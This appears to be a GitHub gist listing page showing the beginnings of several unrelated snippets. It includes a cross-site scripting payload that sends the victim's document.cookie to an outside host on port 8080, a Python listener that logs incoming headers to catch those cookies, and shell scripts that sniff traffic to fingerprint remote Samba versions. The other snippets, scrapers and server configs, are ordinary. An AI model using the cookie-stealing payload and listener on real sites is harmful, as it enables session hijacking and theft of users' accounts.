This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script>document.createElement("img").src = "http://toninho:8080/?cookie="+document.cookie;</script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from http.server import HTTPServer, BaseHTTPRequestHandler | |
from optparse import OptionParser | |
class RequestHandler(BaseHTTPRequestHandler): | |
def do_GET(self): | |
print(self.headers) | |
self.send_response(204) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
if [ -z $1 ]; then echo "Usage: ./grabsmbversion.sh RHOST {RPORT}" && exit; else rhost=$1; fi | |
if [ ! -z $2 ]; then rport=$2; else rport=139; fi | |
if [ ! -z $3 ]; then intf=$3; else rport='eth0'; fi | |
ngrep -i -d $intf 's.?a.?m.?b.?a.*[[:digit:]]' port $rport & | |
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
#Author: rewardone | |
#Description: | |
# Requires root or enough permissions to use tcpdump | |
# Will listen for the first 7 packets of a null login | |
# and grab the SMB Version | |
#Notes: | |
# Will sometimes not capture or will print multiple | |
# lines. May need to run a second time for success. | |
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
page = 0 | |
urls = [] | |
while True: | |
print(f"Page: {page}") | |
site = requests.get(f"https://pudim.com.br/?page={page}"); | |
if site.status_code is 200: | |
content = BeautifulSoup(site.content, 'html.parser') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'httparty' | |
require 'nokogiri' | |
require 'cgi' | |
all_objects = [] | |
('a'..'z').each do |letter| | |
page = 1 | |
total_pages = 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
location /api { | |
rewrite ^/api(.*) $1 break; | |
proxy_pass http://localhost:8084; | |
proxy_set_header X-Real-IP $remote_addr; | |
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; | |
proxy_set_header Host $http_host; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Unit] | |
Description=Java Service | |
[Service] | |
User=nobody | |
# The configuration file application.properties should be here: | |
WorkingDirectory=/webapps | |
ExecStart=/usr/bin/java -Xmx256m -jar dmgco.jar | |
SuccessExitStatus=143 | |
TimeoutStopSec=10 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
intf=$1 | |
port=$2 | |
if [ -z "${intf}" ]; then | |
intf="eth0" | |
fi | |
if [ -z "${port}" ]; then | |
port="3306" | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[].forEach.call($$("*"),function(a){ | |
a.style.outline="1px solid #"+(~~(Math.random()*(1<<24))).toString(16) | |
}) |
NewerOlder